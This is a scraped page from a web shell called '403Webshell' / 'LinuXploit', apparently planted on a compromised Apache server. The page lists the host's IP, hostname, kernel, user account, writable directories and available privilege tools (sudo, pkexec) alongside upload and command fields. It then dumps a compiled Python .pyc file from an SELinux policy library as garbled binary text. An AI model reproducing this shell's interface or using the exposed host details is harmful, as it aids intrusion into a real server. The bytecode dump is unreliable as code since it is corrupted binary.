403Webshell
Server IP : 103.4.122.14  /  Your IP : 216.73.216.103
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
System : Linux cwp2.slnet.com.au 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : statewid ( 1251)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/sepolgen/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /lib64/python2.7/site-packages/sepolgen/interfaces.pyc
�
��^c@s�dZddlZddlZddlmZddlmZddlmZddlmZddlm	Z	d	dd
��YZ
d�Zd�Zd
�Z
d�Zd�Zddd��YZddd��YZddd��YZddd��YZdS(s7
Classes for representing and manipulating interfaces.
i����Ni(taccess(t	refpolicy(tobjectmodel(tmatching(t_tParamcBsSeZdZd�Zd�Zd�Zeee�Zedd��Zd�Z	RS(s;
    Object representing a paramater for an interface.
    cCs1d|_tj|_tj�|_t|_dS(Nt(t_Param__nameRtSRC_TYPEttypetIdSettobj_classestTruetrequired(tself((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyt__init__&s	cCs/tj|�s"td|��n||_dS(NsName [%s] is not a param(Rt
is_idparamt
ValueErrorR(Rtname((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pytset_name,scCs|jS(N(R(R((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pytget_name1stfgetcCst|jd�S(Ni(tintR(R((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyt<lambda>6scCs*d|jtj|jdj|j�fS(Ns0<sepolgen.policygen.Param instance [%s, %s, %s]>t (RRtfield_to_strR	tjoinR(R((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyt__repr__8s(
t__name__t
__module__t__doc__RRRtpropertyRtnumR(((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyR"s			cCs+d}||kr�||}||jkr/dS|tjksM|tjkr�|jtjksq|jtjkr�d}|r�|jg}ng}x6tj|j|�D]}|tj	kr�d}Pq�q�Wtj|_qd}n(t
�}||_||_|||j<|r'|jj|j�n|S(Nii(
R	RRtTGT_TYPEt	obj_classt	itertoolstchainRRtimplicitly_typed_objectsRRtadd(RR	tavtparamstrettptavobjstobj((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyt__param_insert>s0
$				
cCsd}t}tj|j�rKt|jtj||�dkrKd}qKntj|j�r�t|jtj||�dkr�d}q�ntj|j	�r�t|j	tj
||�dkr�d}q�nxA|jD]6}tj|�r�t|t�dkr	d}q	q�q�W|S(sjExtract the paramaters from an access vector.

    Extract the paramaters (in the form $N) from an access
    vector, storing them as Param objects in a dictionary.
    Some attempt is made at resolving conflicts with other
    entries in the dict, but if an unresolvable conflict is
    found it is reported to the caller.

    The goal here is to figure out how interface paramaters are
    actually used in the interface - e.g., that $1 is a domain used as
    a SRC_TYPE. In general an interface will look like this:

    interface(`foo', `
       allow $1 foo : file read;
    ')

    This is simple to figure out - $1 is a SRC_TYPE. A few interfaces
    are more complex, for example:

    interface(`foo_trans',`
       domain_auto_trans($1,fingerd_exec_t,fingerd_t)

       allow $1 fingerd_t:fd use;
       allow fingerd_t $1:fd use;
       allow fingerd_t $1:fifo_file rw_file_perms;
       allow fingerd_t $1:process sigchld;
    ')

    Here the usage seems ambigious, but it is not. $1 is still domain
    and therefore should be returned as a SRC_TYPE.

    Returns:
      0  - success
      1  - conflict found
    ii(
tFalseRRtsrc_typeR-RRttgt_typeR!R"t	OBJ_CLASStpermstPERM(R'R(R)t	found_srctperm((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pytav_extract_paramsjs $!!!cCs/tj|j�r+t|jtjd|�SdS(N(RRtroleR-RtROLEtNone(R7R(((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pytrole_extract_params�scs��fd�}d}||jtj�r3d}n||jtj�rQd}n||jtj�rod}ntj|j	�r�t
|j	tjd��r�d}q�n|S(NcsKd}x>|D]6}tj|�r
t||d��rCd}qCq
q
W|S(Nii(RRR-R9(tsetR	R)tx(R((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pytextract_from_set�s
ii(
t	src_typesRRt	tgt_typesR!RR1RRt	dest_typeR-t	DEST_TYPER9(truleR(R=R)((R(s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyttype_rule_extract_params�s			cCsQd}xD|jD]9}tj|�rt|tjd|�rId}qIqqW|S(Nii(targsRRR-RRR9(tifcallR(R)targ((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pytifcall_extract_params�stAttributeVectorcBseZd�Zd�ZRS(cCsd|_tj�|_dS(NR(RRtAccessVectorSet(R((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyR�s	cCs|jj|�dS(N(Rtadd_av(RR'((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyRJ�s(RRRRJ(((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyRH�s	tAttributeSetcBs#eZd�Zd�Zd�ZRS(cCs
i|_dS(N(t
attributes(R((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyR�scCs||j|j<dS(N(RLR(Rtattr((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pytadd_attr�scCs�d�}d}x�|D]y}|d }|ddkr[|rL|j|�n||�}q|r|jd�}tj|�}|j|�qqW|r�|j|�ndS(NcSsb|dd!j�}t|�dks5|ddkrHtd|��nt�}|d|_|S(Nii����iit	Attributes#Syntax error Attribute statement %s(tsplittlentSyntaxErrorRHR(tlinetfieldsta((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyt
parse_attr�s"	
i����it[t,(R9RNRPRtAccessVectorRJ(RtfdRVRURStlR'((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyt	from_file�s		

(RRRRNR\(((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyRK�s		tInterfaceVectorcBsGeZdid�Zid�Zd�Zd�Zd�Zd�ZRS(cCsPt|_d|_tj�|_i|_|rC|j||�nt|_dS(NR(	RtenabledRRRIR(tfrom_interfaceR.texpanded(Rt	interfaceRL((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyR�s			c
Cs�|j|_xq|j�D]c}|jtjjkr:qnd|jkrOqntj|�}x|D]}|j|�qeWqW|rHx�|j	�D]�}x�|j
D]�}||j
kr�q�n|j
|}xo|jD]d}	tj|	�}|j|jkr|j
|_n|j|jkr,|j
|_n|j|�q�Wq�Wq�Wnx)|j�D]}
t|
|j�rUqUqUWx)|j�D]}t||j�r�q�q�Wx)|j�D]}t||j�r�q�q�WdS(Nt	dontaudit(Rtavrulest	rule_typeRtAVRuletALLOWRtavrule_to_access_vectorsRJttypeattributesRLtcopyR/R	R0trolesR:R(t	typerulesRCtinterface_callsRG(
RRaRLtavruletavsR't
typeattributeRMtattr_vecRUR7RBRE((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyR_s>

cCs/t||j�dkrn|jj|�dS(Ni(R6R(RRJ(RR'((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyRJ8scCsNg}|jd|j�x$|jD]}|jt|��q$Wdj|�S(Ns[InterfaceVector %s]s
(tappendRRtstrR(RtsR'((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyt	to_string>s
cCs
|j�S(N(R(R((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyt__str__EscCsd|j|jfS(Ns<InterfaceVector %s:%s>(RR^(R((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyRHsN(	RRR9RR_RJRtRuR(((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyR]�s4			tInterfaceSetcBs�eZdd�Zd�Zd�Zd�Zd�Zd�Zid�Z	did�Z
d�Zd	�Zd
�Z
d�ZRS(
cCs(i|_i|_g|_||_dS(N(t
interfacesttgt_type_mapttgt_type_alltoutput(RRz((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyRMs			cCs$|jr |jj|d�ndS(Ns
(Rztwrite(RRr((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pytoSs	cCs�x�t|jj�dd��D]�}|jd|j�xJt|jj�dd��D]*}|jd|jtj|jf�qXW|jd�t|j	j
��}x1|D])}|jdj|��|jd�q�WqWdS(	NtkeycSs|jS(N(R(R<((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyRXss[InterfaceVector %s cSs|jS(N(R(R<((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyRZss%s:%s s]
RXs
(tsortedRwtvaluesR{RR(RRR	Rtto_listR(RRZtivtparamtavlR'((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pytto_fileWs%%(

cCs�d�}d}x�|D]y}|d }|ddkr[|rL|j|�n||�}q|r|jd�}tj|�}|j|�qqW|r�|j|�n|j�dS(NcSs�|dd!j�}t|�dks5|ddkrHtd|��nt�}|d|_t|�dkrtdSx�|dD]t}|jd�}t|�dkr�td|��nt�}|d|_tj|d|_||j	|j<qW|S(	Nii����iiR]s)Syntax error InterfaceVector statement %st:s-Invalid param in InterfaceVector statement %s(
RPRQRRR]RRRtstr_to_fieldR	R((RSRTtifvtfieldR*R�((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyt	parse_ifvcs "	
	
i����iRWRX(R9tadd_ifvRPRRYRJtindex(RRZR�R�RSR[R'((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyR\bs	

cCs||j|j<dS(N(RwR(RR�((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyR��scCs�x�|jj�D]�}t�}xP|jD]E}tj|j�r^|jj|�t�}Pn|j|j�q)Wx0|D](}|j	j
|g�}|j|�qyWqWdS(N(RwRR;RRR0RyRqR&Rxt
setdefault(RR�R?R'R	R[((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyR��s		
cCs t||�}|j|�dS(N(R]R�(RRaRLR�((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyR&�scCsTx6tj|j�|j��D]}|j||�qW|j|�|j�dS(N(R#R$Rwt	templatesR&texpand_ifcallsR�(RtheadersRzRLti((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pytadd_headers�s%
cCsqtj|�rft|d�}|t|j�kr8dS|j|d}t|t�r\|S|gSn|gSdS(Ni(RRRRQRDR9t
isinstancetlist(RtidRER RF((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyt	map_param�s
c
Cs&|j|j|�}|dkr%dS|j|j|�}|dkrJdS|j|j|�}|dkrodStj�}xB|jD]7}|j||�}	|	dkr�q�q�|j|	�q�Wt	|�dkr�dSxI|D]A}
x8|D]0}x'|D]}|j
j|
|||�q�Wq�Wq�WdS(Ni(R�R/R9R0R"RR
R2tupdateRQRR&(
RR�R'RER>R?Rt	new_permsR5R*R/R0R"((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyt
map_add_av�s*


cCsD|dfg}|j|j}t|_xt|�dkr?|jd�\}}|j|j}||kr�x$|jD]}|j|||�qxW|jr�q+q�nx�|j	�D]�}	|	j
|jkr�|jtd��dSy||	j
}
Wn.t
k
r$|jtd|	j
��q�nX|j|
|	f�q�Wq+WdS(Nii����sFound circular interface classs#Missing interface definition for %s(R9RwRRR`RQtpopRR�RltifnameR|RtKeyErrorRq(RRat
if_by_nametstackR�tcurt
cur_ifcalltcur_ifvR'REtnewif((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pytdo_expand_ifcalls�s*			
cCsyi}x3tj|j�|j��D]}|||j<q%Wx6tj|j�|j��D]}|j||�q[WdS(N(R#R$RwR�RR�(RR�R�R�Ra((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyR��s
%%N(RRR9RR|R�R\R�R�R&R�R�R�R�R�(((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyRvLs			#					$((((((RRiR#RRRRRtsepolgeni18nRRR-R6R:RCRGRHRKR]Rv(((s9/usr/lib64/python2.7/site-packages/sepolgen/interfaces.pyt<module>s"	,	9			Z

Youez - 2016 - github.com/yon3zu
LinuXploit